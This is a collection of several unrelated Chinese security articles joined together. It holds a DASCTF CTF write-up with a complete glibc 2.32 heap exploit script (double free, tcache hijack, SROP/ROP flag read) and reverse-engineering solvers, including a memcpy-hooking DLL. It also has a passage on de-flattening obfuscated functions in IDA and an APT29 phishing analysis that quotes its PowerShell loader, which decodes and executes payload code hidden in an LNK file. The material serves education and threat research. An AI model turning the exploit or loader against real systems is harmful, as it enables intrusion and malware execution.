我们可以注意到在delete函数中存在，delete之后不清空的漏洞，我们可以利用这个来造成double free。
在show函数中，使用puts输出堆块内容
在add函数中，要求堆块大小小于0x100，且堆块个数小于0xFF
**解题思路**
**1.利用unsorted bin泄露libc**
先释放7个chunk把tcache填满，然后再释放一个chunk进入到unsorted bin（注意要有个堆块与top chunk隔开），由于在libc
2.32下 main_arena + 88的地址末尾是\x00，所以我们需要覆盖最低字节才可以用puts输出。（虽然必须要覆盖一个字节）
**2.利用libc2.32新特性泄露heap base**
简单的来说就是在next位置会有一个key与next原来的内容进行异或并保存，这个key的地址就是next的位置右移12位（去掉末尾12位），当tcache链为空的时候，就是0与key进行异或，在next的位置内容就是key，我们可以泄露这个key来得到堆基址。
关于这个特性的详细介绍可以看我的博客：[http://blog.wjhwjhn.com/archives/186/](http://blog.wjhwjhn.com/archives/186/?fileGuid=K66x6YWJ8jWCqQyC)
**3.通过fastbin来构造double free再利用**
但是在libc 2.32中对于tcache double
free的检测有些严格，并且这道题只有在add的时候才能修改堆块，所以我们考虑用fastbin来构造出double
free（a->b->a），再fastbin reverse into
tcache这个机制让fastbin进入到tcache中，并且覆盖next内容到tcache
struct（与key异或后的结果），让单次任意读写漏洞变成多次任意读写漏洞。
**4.劫持tcache struct的内容到__free_hook**
由于之后SROP的payload过长，所以还要分成两段来写。同时需要注意把对应申请堆块size的counts变成1，否则无法申请出来。
**5.使用gadget来将rdi参数转移到rdx**
在 libc2.29 及以后的版本，setcontext + 61 中调用的参数变成了 rdx，而不是 rdi，这使得我们在利用__free_hook
传参的时候，无法直接传到 setcontext 中，这里我们就要考虑找一个 gadget 来传参使得 rdi 的参数转变到 rdx 上。
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
可以使用这个gadget来转移参数，这个操作以及提及多次，这里不再复述，如果有疑问的可以看一下我之前发的文章。
**6.在free_hook旁边构造SROP**
这个纯属为了偷懒，让SROP和写__free_hook的操作放到一起去，这样就可以一次性搞定所有环节。不过最后因为size限制的问题还是分了两部来写。
注意：在libc2.32中新增了一个检测要求tcache申请的内容要与0x10对齐，否则会申请错误。
**EXP**
from pwn import *
context.log_level = "debug"
r = process('./clown')
#r = remote('pwn.machine.dasctf.com', 50501)
libc = ELF('libc/libc.so.6')
context.arch = "amd64"
def choice(idx):
r.sendafter(">> ", str(idx))
def add(size, content = 'a'):
choice(1)
r.sendafter("Size: ", str(size))
r.sendafter("Content: ", content)
def delete(idx):
choice(2)
r.sendafter("Index: ", str(idx))
def show(idx):
choice(3)
r.sendafter("Index: ", str(idx))
#leak libc
#fill tcache
for i in range(7):
add(0x100)
add(0x100) #7
add(0x100) #8
for i in range(7):
delete(i)
delete(7) #into unsortedbin
add(0x80) #9 partial overwrite
show(7)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1b7d61
log.success("libc_base: " + hex(libc_base))
libc.address = libc_base
add(0x78) #10
#leak heap_base
add(0x68) #11
delete(11)
show(11)
heap_base = u64(r.recvuntil('\nDone', drop=True)[-5:].ljust(8, '\x00')) << 12
log.success("heap_base: " + hex(heap_base))
#doube free & fastbin into tcache
add(0x68, p64(0) * 2) #12
add(0x68) #13
#fill tcache
for i in range(7):
add(0x68) #14-20
for i in range(7):
delete(14 + i)
#double free
delete(11)
delete(13)
delete(11)
#fastbin into tcache
for i in range(7):
add(0x68) #21-27
#change next -> tcache struct
add(0x68, p64((heap_base + 0xF0) ^ (heap_base >> 12))) #28
add(0x68) #29
add(0x68) #30
#counts0 -> 1
add(0xF8) #31
delete(31)
add(0xE8) #32
delete(32)
#hijack tcache struct
add(0x68, p64(0) + p64(libc.sym['__free_hook'] + 0xF0) + p64(libc.sym['__free_hook'])) #33
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget = libc_base + 0x0000000000124990
pop_rdi_addr = libc_base + 0x00000000000277d6
pop_rsi_addr = libc_base + 0x0000000000032032
pop_rdx_addr = libc.address + 0x00000000000c800d
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_addr,
0x100,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
libc.sym['read'],
pop_rdi_addr,
fake_frame_addr + 0x200,
libc.sym['puts']
]
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 53) + str(frame)[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + str(flat(rop_data))
add(0xF8, payload[:0xF0]) #34 write to __free_hook part1
add(0xE8, payload[0xF0:]) #35 write to __free_hook part2
delete(34)
r.interactive()
## RE部分
### drinkSomeTea
不太容易发现的魔改Tea
**去除花指令**
观察主函数，发现有个调用的函数无法正常识别，无法查看伪代码。
观察汇编后发现存在花指令，于是我们考虑手动去除。
可以看到我们代码中一定会跳转到地址是401117，但是IDA却被误导从401116开始汇编导致后续汇编出错。
我们可以在代码上按D键转换为数据。
然后手动在401117位置按C键转化为代码。
可以发现在401116位置多出了一个0xE8，我们可以用Patch工具修改为0x90（nop）指令
再到函数头部按P键识别为函数
**TEA encode函数**
之后就可以F5查看伪代码了
稍微进行一下重命名就可以发现这是个很标准的tea加密函数，那么你就掉进这个坑里了，仔细观察变量类型都是int，但是在常规的tea加密函数中应该是用unsigned
int来对数据进行处理，所以导致一般网上的tea解密脚本无法使用，需要手动修改类型为int，两者在符号运算的过程中存在一定区别导致程序无法正确的计算。
**主函数逻辑**
在main函数中的逻辑非常清晰，大概就是读入tea.png文件，然后每8字节进行一次加密，最后输出到tea.png.out文件中，对应的tea加密key就是那个fake
flag了，我们现在有了加密后的数据，只需要编写解密代码即可得到图片。
**解题代码**
#include <cstdio>
#include <Windows.h>
void encrypt(int* v, const unsigned int* k)
{
int v0 = v[0], v1 = v[1], sum = 0, i;
int delta = 0x9E3779B9;
int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}
v[0] = v0;
v[1] = v1;
}
void decrypt(int* v, unsigned int* k)
{
int v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
int delta = 0x9e3779b9;
int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
unsigned char file_data[0x10000];
int main()
{
unsigned int k[4] = {
0x67616C66, 0x6B61667B, 0x6C665F65, 0x7D216761
};
HANDLE h = CreateFileA("tea.png.out", 0xC0000000, 0, 0, 3u, 0x80u, 0);
DWORD file_size = GetFileSize(h, 0);
SetFilePointer(h, 0, 0, 0);
DWORD NumberOfBytesRead = 0;
ReadFile(h, file_data, file_size, &NumberOfBytesRead, 0);
CloseHandle(h);
for (int i = 0; i < file_size >> 2; i += 2) decrypt(&((int*)file_data)[i], k);
HANDLE v9 = CreateFileA("tea.png", 0xC0000000, 0, 0, 2u, 0x80u, 0);
WriteFile(v9, &file_data, file_size, &NumberOfBytesRead, 0);
CloseHandle(v9);
return 0;
}
### Enjoyit-1
查壳发现是C#写的程序
这时候就可以直接掏出C#反汇编神器 **dnSpy**
发现主要的程序逻辑如图，加密过程都在b.c函数中。
观察b.c函数感觉是一个base64，再看一下base64表，发现是换表的base64。
编写python程序解密换表base64。
import base64
import string
str1 = "yQXHyBvN3g/81gv51QXG1QTBxRr/yvXK1hC="
string1 = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ="
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))
解密的内容输入后发现程序卡在了后续的循环上
在旁边下断点并使用dnSpy调试程序（F5）
在下方修改i的值为100000，即可绕过这个循环延迟
程序执行后输出flag：
### replace
**主函数逻辑**
为了方便读者理解，我这里修改了函数名称。
实际上这道题和题目的意思一样，用假的加密函数来迷惑新手，实际上的加密过程中hook后的函数。而这个题目名称replace实际上就暗示了hook这个操作。
**fake_encode函数**
这部分内容实际上没有意义，因为真正的操作在这之后的replace函数中，而我也没有对这部分的内容进行计算，算出来的应该是个fake
flag吧，因为这道题的难度等级，意味着这道题肯定没有那么容易，所以我直接看向后面的代码。
**寻找true_encode函数**
我们这里使用IDA调试来快速的找到hook后的函数位置。
这里按F7步入到IsDebuggerPresent函数中
就这样简单的找到了真实的encode函数，这里又有一个花指令，我们只需要使用和上面一样的方法nop掉即可
**真实加密函数**
接着使用F5查看程序的伪代码
代码逻辑简单的来说就是用sbox对密码进行单表替换，并且之后进行类似栅栏密码的操作来加密，加密后的内容才是真正最后比对的内容。实际上这里使用了花指令导致这个函数无法被识别，这样让你用X查找引用也无法找到这个函数地址。
最后我们只需要把比对的内容复制出来，直接编写python脚本进行求解。
在比赛过程中为了快速解题直接用z3来进行求解。
**解题代码**
这里有个细节就是要把求解的字节内容设置为32个位，这样在移位的时候才会使用32个位进行异或，否则是无法计算出正确的flag的。但是我们又要保证每个的内容只使用8个位，这时候就可以用
**x & 0xff == x**来限制范围。
from z3 import *
sbox = [0x00000080, 0x00000065, 0x0000002F, 0x00000034, 0x00000012, 0x00000037, 0x0000007D, 0x00000040, 0x00000026, 0x00000016, 0x0000004B, 0x0000004D, 0x00000055, 0x00000043, 0x0000005C, 0x00000017, 0x0000003F, 0x00000069, 0x00000079, 0x00000053, 0x00000018, 0x00000002, 0x00000006, 0x00000061, 0x00000027, 0x00000008, 0x00000049, 0x0000004A, 0x00000064, 0x00000023, 0x00000056, 0x0000005B, 0x0000006F, 0x00000011, 0x0000004F, 0x00000014, 0x00000004, 0x0000001E, 0x0000005E, 0x0000002D, 0x0000002A, 0x00000032, 0x0000002B, 0x0000006C, 0x00000074, 0x00000009, 0x0000006E, 0x00000042, 0x00000070, 0x0000005A, 0x00000071, 0x0000001C, 0x0000007B, 0x0000002C, 0x00000075, 0x00000054, 0x00000030, 0x0000007E, 0x0000005F, 0x0000000E, 0x00000001, 0x00000046, 0x0000001D, 0x00000020, 0x0000003C, 0x00000066, 0x0000006B, 0x00000076, 0x00000063, 0x00000047, 0x0000006A, 0x00000029, 0x00000025, 0x0000004E, 0x00000031, 0x00000013, 0x00000050, 0x00000051, 0x00000033, 0x00000059, 0x0000001A, 0x0000005D, 0x00000044, 0x0000003E, 0x00000028, 0x0000000F, 0x00000019, 0x0000002E, 0x00000005, 0x00000062, 0x0000004C, 0x0000003A, 0x00000021, 0x00000045, 0x0000001F, 0x00000038, 0x0000007F, 0x00000057, 0x0000003D, 0x0000001B, 0x0000003B, 0x00000024, 0x00000041, 0x00000077, 0x0000006D, 0x0000007A, 0x00000052, 0x00000073, 0x00000007, 0x00000010, 0x00000035, 0x0000000A, 0x0000000D, 0x00000003, 0x0000000B, 0x00000048, 0x00000067, 0x00000015, 0x00000078, 0x0000000C, 0x00000060, 0x00000039, 0x00000036, 0x00000022, 0x0000007C, 0x00000058, 0x00000072, 0x00000068]
invSbox = {}
for i in range(len(sbox)):
invSbox[sbox[i]] = i
s = "416f6b116549435c2c0f1143174339023d4d4c0f183e7828"
num = []
for i in range(6):
num.append(int(s[i * 8: (i + 1) * 8], 16))
solver = Solver()
v3 = [BitVec(f'v{i}', 32) for i in range(24)]
for i in range(24):
solver.add(v3[i] & 0xFF == v3[i])
for i in range(6):
solver.add((v3[i + 12] << 8 | v3[i + 6] << 16 | v3[i] << 24 | v3[i + 18]) == num[i])
solver.check()
ans = solver.model()
input_data = []
for i in range(24):
input_data.append(ans[v3[i]].as_long())
for i in range(24):
for j in range(5):
input_data[i] = invSbox[input_data[i]]
flag = ""
for i in input_data:
flag += chr(i)
print(flag)
### StrangeMine
这道题在比赛中没有做出来，本来以为是直接扫完就可以得到flag的，所以就拜托给队友来做了，结果发现没有这么简单，所以赛后复现一下
**寻找关键代码**
对于这种游戏的题目，使用CE来寻找关键的代码再合适不过了。
我们知道当我们完成游戏的时候会跳出flag，那么我们完成游戏之前的操作就是在雷上标旗帜。
所以我们可以搜索旗帜的数量作为关键点来入手。
搜索直到一个地址后
在下方地址中按下F6
找出改写该地址的代码，然后再标一个旗帜来触发这个
**分析代码逻辑**
在IDA中找到这个地址，并查看伪代码
找到该函数的引用
发现这个函数就是处理右键旗帜的主要逻辑函数，找到检测是否游戏结束的check函数。
这里实际上检测所有炸弹是否被标记，如果有未标记的炸弹则返回0，否则会触发int3断点。
我们可以patch这个位置
让他直接跳转到int3断点（这意味着游戏结束）
直接patch之后执行程序
但是提交flag发现是错误的，于是仔细的思考了这个题目。
**重新审视**
我们做到这里的一个疑问就是这个int3断点是干啥的，在哪里弹窗的flag？
猜测有其他地方存在异常处理函数并输出了flag信息。
仔细寻找后发现在这里
这个函数会处理异常信息，又是和之前类似的花指令，用类似的方式处理就可以查看伪代码了
这里会判定异常发生位置，并跳过一些无用的花指令异常，若在正确位置发生int3断点错误，就会使用程序的代码段内容计算md5内容并弹窗输出，而在我们patch之后，我们的程序代码段内容就发生了改变，这使得我们用patch的方式来修改程序的内容得出的md5信息错误，从而无法得到正常的flag信息。
所以这里我们考虑编写dll来hook这个程序的memcpy函数。
**Hook memcpy内容**
我在比赛的时候就卡在了这个部分，虽然能够想到用hook来解决这个问题，但是由于时间较短，并且没有现有的hook程序，就先去做PWN题了。
我们可以编写一个DLL来hook
memcpy函数，让他在复制这段内容的时候把patch的内容恢复到原样，这样的话就相当于绕过了这个md5检测，从而得到了正确的flag信息。Dll代码就不做解释了，有需要的可以直接抄走
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#pragma pack(push)
#pragma pack(1)
struct JmpCode
{
const BYTE jmp;
DWORD address;
JmpCode(DWORD srcAddr, DWORD dstAddr) : jmp(0xE9)
{
setAddress(srcAddr, dstAddr);
}
void setAddress(DWORD srcAddr, DWORD dstAddr)
{
address = dstAddr - srcAddr - sizeof(JmpCode);
}
};
#pragma pack(pop)
void Hook(void* originalFunction, void* hookFunction, BYTE* oldCode)
{
JmpCode code((uintptr_t)originalFunction, (uintptr_t)hookFunction);
DWORD oldProtect, oldProtect2;
if (!VirtualProtect(originalFunction, sizeof(code), PAGE_EXECUTE_READWRITE, &oldProtect))
{
printf("Hook Error\n");
return;
}
memcpy(oldCode, originalFunction, sizeof(code));
memcpy(originalFunction, &code, sizeof(code));
if (!VirtualProtect(originalFunction, sizeof(code), oldProtect, &oldProtect2))
{
printf("Hook Error\n");
return;
}
}
void UnHook(void* originalFunction, BYTE* oldCode)
{
DWORD oldProtect, oldProtect2;
VirtualProtect(originalFunction, sizeof(JmpCode), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(originalFunction, oldCode, sizeof(JmpCode));
VirtualProtect(originalFunction, sizeof(JmpCode), oldProtect, &oldProtect2);
}
BYTE OldCode[sizeof(JmpCode)];
LPVOID memcpy_addr;
void* __cdecl MyMemcpy(void* _Dst, void const* _Src, size_t _Size)
{
UnHook(memcpy_addr, OldCode);
void* ret = memcpy(_Dst, _Src, _Size);
Hook(memcpy_addr, MyMemcpy, OldCode);
printf("_Dst = 0x%08x _Src = 0x%08x _Size = 0x%08x\n", (unsigned int)_Dst, (unsigned int)_Src, _Size);
DWORD patchAddr = 0x403D64;
if ((DWORD)_Src <= patchAddr && patchAddr <= (DWORD)_Src + _Size)
{
int offset = patchAddr - (DWORD)_Src;
((unsigned char *)_Dst)[offset] = 0x7D;
}
return ret;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
freopen("C:\\log.txt", "w", stdout);
HMODULE hModule = LoadLibraryA("VCRUNTIME140.dll");
memcpy_addr = GetProcAddress(hModule, "memcpy");
Hook(memcpy_addr, MyMemcpy, OldCode);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
if (!memcpy_addr) UnHook(memcpy_addr, OldCode);
break;
}
return TRUE;
}
**运行程序并注入**
实际上在CE中就有一个注入攻击非常方便的可以使用
我们可以直接利用这个来选择我们编译好的DLL来注入，并且可以观察一下log文件。
果然存在对我们patch部分的memcpy。
最终我们得到了正确的flag：
## 总结
这次比赛的难度均匀，不同层次的选手做题都能有良好的体验。相对于一些大比赛来说，做题时间较短，更加考察的是选手的细心和做题速度。总的来说能收获不少，美中不足的是似乎没有官方wp给出，这让一些入门选手很难从题目中学到知识，希望这能够完善起来，最后祝DASCTF比赛越办越好！ | 社区文章 |
## 工程实现
### 启发式识别被展平的函数
事实证明，二进制文件中的一些非库函数未被展平。我设计了一种启发式方法来确定给定函数是否被展平。被展平的函数将块号变量与jz和jg指令中的数字常量进行比较，这些数字常量似乎是伪随机生成的。有了这种特征就可以编写用于启发式确定某个函数是否被展平的算法。
1.遍历函数中的所有microcode。
2.对于每一个将变量和常数比较的jz/jg指令，记录相应的信息(变量，变量和常量比较的次数，对应的所有常量)。
3.选择被比较次数最多的变量对应的所有常量。
4.计算常量中为1的位数然后除以总位数，因为这些常量应该是伪随机生成的，所以这个值应该接近0.5。如果这个值在0.4和0.6之间则可以确定该函数已被展平。
### 简化图结构
被展平的函数有时具有直接导致其它跳转的跳转，或者有时microcode翻译器插入以其它goto指令为目标的goto指令。例如在下图中，块4包含goto到块8的指令，而块8又包含goto到块15的指令。
如果@X块以goto @N指令结尾，并且@N块为一条goto @M指令，则将goto @N更新为goto
@M。对于任意数量的goto以递归的方式应用此过程。
在RemoveSingleGotos函数中第一次遍历所有的块，如果该块的第一条指令是goto指令则记录下目的地址到forwarderInfo中，否则forwarderInfo为-1。
第二次遍历所有的块，如果该块的最后一条指令是call或者该块有不止一个后继者则跳过，考虑两种情况：最后一条指令是goto和最后一条指令不是goto。如果最后一条指令是goto指令，将iGotoTarget设置为goto的目标；如果最后一条指令不是goto指令，将iGotoTarget设置为其唯一后继者。
在while循环中将下一个块设置为forwarderInfo[iGotoTarget]，如果该块已经在while循环中遇到过说明这是一个死循环，将bShouldReplace设置为false并退出。如果forwarderInfo为-1说明遇到了一个第一条指令不是goto指令的块，也退出。只要遇到了一个第一条指令是goto指令的块就将bShouldReplace设置为true。
如果最后一条指令是goto指令，将目的地址更改为while循环中的最后一个块；如果最后一条指令不是goto指令，增加一个目的地址为while循环中的最后一个块的goto指令。修改相应的前驱者和后继者信息。
### 提取块号信息
许多平坦化函数使用两个变量来实现与块号相关的功能。对于使用两个变量的情况，该函数的基本块更新的变量与switch(block)所比较的变量不同。这里将这两个变量分别称为块更新变量和块比较变量。在switch(block)开始时，将块更新变量的值复制到块比较变量中，此后所有后续比较均参考块比较变量。下图中switch(block)从@2块开始，@1块为ST18_4.4变量分配了一个数值。switch(block)中第一个比较在第2.3行，跟此变量相关。第2.1行将该变量复制到另一个名为ST14_4.4的变量中，然后将其用于后续比较(如第3.1行以及此后的所有switch(block)比较)。
然后，函数的平坦块更新变量ST18_4.4。
(令人困惑的是，函数的平坦块更新了两个变量，但是仅使用了对块更新变量ST18_4.4的赋值。块比较变量ST14_4.4在使用其值之前，在第2.1行中被重新定义了)。
因此，我们实际上有三个任务：
1.确定哪个变量是块比较变量(我们已经通过熵检查得知)。
2.确定是否存在块更新变量，如果存在，则确定它是哪个变量。
3.从jz针对块比较变量/块更新变量的比较中提取数字常数，以确定平坦块编号到mblock_t的映射。
首先，我们获取switch(block)之前的第一个块。从函数的开头开始一直向后移动，直到下一个块有多个前驱者。此时这个块就是switch(block)之前的第一个块(例如上面例子中的@1块)，下一个块就是switch(block)(例如上面例子中的@2块)。
找到switch(block)之前的第一个块中所有对变量赋常量值的指令，如果找到了块比较变量说明此时不存在块更新变量。
否则说明此时存在块更新变量，如果switch(block)之前的第一个块中对某变量赋常量值并且在switch(block)中将该变量拷贝给块比较变量，那么这个变量就是块更新变量。
从jz针对块比较变量(位于switch(block)的块更新变量)的比较中提取数字常数，以确定平坦块编号到mblock_t的映射。
### 取消控制流平坦化
我们现在知道哪个变量是块更新变量/块比较变量。我们还知道哪个平坦块编号对应于哪个mblock_t。对于每个被展平的块，我们需要确定块更新变量的值。
如前所述，平坦块有两种情况：
平坦块始终将块更新变量设置为单个值(对应于无条件分支)。
平坦块使用x86 CMOV指令将块更新变量设置为两个可能值之一(对应于条件分支)。
对于如下所示的第一种情况找到一个数字就可以了。下图中块更新变量为ST14_4.4，我们的任务是在第9.4行找到数字分配。现在可以将最后一行的goto更改为对应的mblock_t。
对于如下所示的第二种情况需要确定ST14_4.4可能被更新为0xCBAD6A23(6.0)或0x25F52EB5(7.0)。
更新jz为true执行的块的goto指令(上面的例子中，将@8块的goto指令更新为goto @6)。
将jz为true执行的块拷贝到jz为false执行的块(上面的例子中，将@8块拷贝到@7块)。
更新jz为false执行的块的goto指令(上面的例子中，将@7块的goto指令更新为goto @9)。
## 其它问题
### 平坦块可能包含许多mblock_t
如上述第一种情况，mblock_t可以通过一个以上的mblock_t来实现平坦块；或者如上述第二种情况，mblock_t可以通过三个以上的mblock_t来实现平坦块。HexRays在函数调用边界上分割基本块，因此单个平坦块可以有任意数量的mblock_t。由于查找分配给块更新变量的数值需要从平坦区域的末端开始工作，所以需要知道该区域的末端在哪里。这里通过计算函数的支配树(dominator
tree)并找到将回到switch(block)并且由平坦块块头支配的块解决了这个问题。计算支配树的算法如下所示。如果一个函数含有X个基本块则每个基本块用X位的bitset来表示支配关系，第Y位为1表示基本块Y支配基本块X。初始化时每个基本块都支配每个基本块，即每个基本块的bitset每一位都为1，然后将第一个基本块的bitset设置为只有第一位为1，即对于第一个基本块只有它自己支配自己。然后遍历基本块，更新该基本块的bitset为它的bitset和它的前驱的bitset的与，然后设置该基本块自己支配自己。一直重复这样循环，直到bitset不再发生改变。
### 查找分配给块更新变量的数值
查找分配给块更新变量的数值有些情况下很简单，有些情况下很困难。有时HexRays的常量传播算法会创建将常量直接移动到块更新变量中的microcode或者通过几个寄存器或栈变量对块更新变量赋值。FindNumericDefBackwards函数从一个块的底部开始搜索对块更新变量的赋值。如果块更新变量是由另一个变量赋值的，它将执行递归搜索。一旦最终找到数字常量赋值则返回true。如果找到了支配该块的mbClusterHead块仍然没有找到则返回false。然而当平坦块通过指针写入内存时上述算法将不起作用。如下所示，在平坦块的开头常量被写入寄存器，然后被保存到栈变量中。
稍后用指针写入内存。
最后从栈变量中读取。
这给我们带来的问题是HexRays需要证明中间的内存写入不会覆盖已保存的数据。通常，指针混叠是一个无法确定的问题，这意味着不可能编写算法来解决它的每个实例。当FindNumericDefBackwards函数返回false并且最后是从栈变量中读取时调用FindForwardStackVarDef函数转到平坦块的开头查找。以上面的情况为例，跳到第一个代码片段并且找到分配给var_B4和var_BC的常量。这样做不安全，但是恰好适用于此样本中的每个函数，并且很可能适用于该混淆编译器编译的每个样本。
## 总结
控制流平坦化这一混淆技术早已经在代码保护工具和恶意代码样本中屡见不鲜，Rolf
Rolles的方法为解决这一问题提供了新的思路。目前idapython已经提供了Rolf
Rolles所开源代码的python版本[pyhexraysdeob](https://github.com/idapython/pyhexraysdeob
"pyhexraysdeob")。国外有研究人员基于Rolf
Rolles的成果对APT10样本中类似的混淆进行了处理，也取得了比较好的效果：[Defeating APT10 Compiler-level
Obfuscations](https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Haruyama.pdf
"Defeating APT10 Compiler-level Obfuscations")。 | 社区文章 |
# 攻击活动
攻击者伪造出钓鱼邮件来伪装成美国国家公共事务部官员分享的一份官方文档。链接指向的是一个含有武器化的Windows快捷方式文件的zip文件，Windows快捷方式文件位于一个看似合法的域名jmj.com。快捷方式文件是用来执行PowerShell命令的，命令可以读取、解码和执行快捷方式文件以外的代码。
执行后，快捷方式文件会释放一个非恶意的公开的美国国务院表格和Cobalt Strike Beacon。Cobalt
Strike是一款商业化的渗透测试工具框架。BEACON payload被配置为修改过的"Pandora" Malleable C2
Profile变种，而且使用了C2域名pandorasong[.]com作为Pandora音乐流服务的伪装。定制的C2
Profile可能是为了应对基于默认配置的网络检测方法。快捷方式元数据显示它与2016年11月的攻击活动中使用的快捷方式应该是系统或来自类似的系统。诱饵文件内容如图1所示：
图1: 诱饵文件内容
## 与之前活动的相似处
攻击活动有TTP并且攻击目标与之前的活动有交叉，因此研究人员推测是APT
29的攻击活动。最近的鱼叉式钓鱼攻击活动中的恶意LNK文件`ds7002.lnk`与2016年11月APT
29在攻击中使用的LNK文件`37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk`有交叉。2018年和2016年的LNK文件在结构和代码上都非常相似，元数据也有交叉，包括创建LNK文件的系统MAC地址。
其他相似点包括传播LNK文件的钓鱼活动的目标和技术。本次攻击活动与之前的APT 29攻击活动的收件人有一些是相同的。
# 技术分析
## 钓鱼邮件
邮件的发件人是`DOSOneDriveNotifications-svCT-Mailboxe36625aaa85747214aa50342836a2315aaa36928202aa46271691a8255aaa15382822aa25821925a0245@northshorehealthgm[.]org`，主题是`Stevenson,
Susan N shared "TP18-DS7002 (UNCLASSIFIED)" with
you`。邮件的传播在不同的受影响企业之间有明显的不同。大多数受害者收到3封左右的邮件，有的受害者收到136封之多。
每个钓鱼邮件都含有一个唯一的恶意URL，诱骗受害者点击。URL的模式如图2所示：
图2: 恶意URL结构
除了发件人邮箱地址的长度外，攻击者看似没有想要隐藏其邮件的真实地址。图3是钓鱼消息的编译过的邮件header截图。
图3: 钓鱼邮件header
恶意链接服务于文件`ds7002.zip`的两个变种。第1个变种含有`ds7002.lnk`；`ds7002.lnk`是一个含有嵌入的`BEACON
DLL`和诱饵PDF的恶意LNK文件，是用来启动PowerShell命令的。执行后，PowerShell命令会提取和执行Cobalt Strike
BEACON后门和诱饵PDF。`ds7002.zip`的第2个变种只含有一个非恶意的文档，文档名为`ds7002.pdf`，下载地址为`hxxps://eforms.state.gov/Forms/ds7002.PDF`。
BEACON后门会与C2域名`pandorasong[.]com` (95.216.59[.]92)进行通信。域名会使用隐私保护功能，起始授权结构start
of authority (SOA)记录中含有`vleger@tutanota.com`。
分析显示攻击者在攻击前大约30天开始配置基础设施。这与其他攻击活动相比拖延了很多，表1是该活动的时间线。
表1: 时间线
## 执行
恶意`LNK ds7002.lnk`执行后，会执行PowerShell命令：
\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noni -ep bypass
$zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5
rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0ZW0gLVBhdGggJE
Vudjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNlO2lmICgtbm90ICRvZSkge2V4aXR9W
0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVjdG9yeU5hbWUp
O30kdnp2aT1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJywnUmVhZCcsJ
1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2en
ZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZC
gkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTY0Q2hhckFy
cmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJL
kdldFN0cmluZygkb2UpO2lleCAkems7';$fz='FromBase'+0x40+'String';$rhia=[Text.E
ncoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia;
命令中使用了混淆处理，看似是为了绕过某个特定的检测逻辑。比如使用了`'FromBase'+0x40+'String'`来替换
`FromBase64String`，所以PowerShell需要base 64解码。
解码的命令中含有额外的PowerShell，PowerShell 可以读取`offset 0x5e2be`到`offset
0x623b6`处的`ds7002.lnk`的内容，base64解码提取的内容，并且以其他的powershell内容执行。嵌入的powershell代码如下：
$ptgt=0x0005e2be;
$vcq=0x000623b6;
$tb="ds7002.lnk";
if (-not(Test-Path $tb))
{
$oe=Get-ChildItem -Path $Env:temp -Filter $tb -Recurse;
if (-not $oe)
{
exit
}
[IO.Directory]::SetCurrentDirectory($oe.DirectoryName);
}
$vzvi=New-Object IO.FileStream $tb,'Open','Read','ReadWrite';
$oe=New-Object byte[]($vcq-$ptgt);
$r=$vzvi.Seek($ptgt,[IO.SeekOrigin]::Begin);
$r=$vzvi.Read($oe,0,$vcq-$ptgt);
$oe=[Convert]::FromBase64CharArray($oe,0,$oe.Length);
$zk=[Text.Encoding]::ASCII.GetString($oe);
iex $zk;
研究人员将解码的PowerShell与2016年PowerShell嵌入的加载器代码有很多相似之处。但今年的攻击活动使用了随机的变量和函数名，并且混淆了脚本中的字符串。
图4: PowerShell与2016年嵌入的加载器代码有很多相似之处
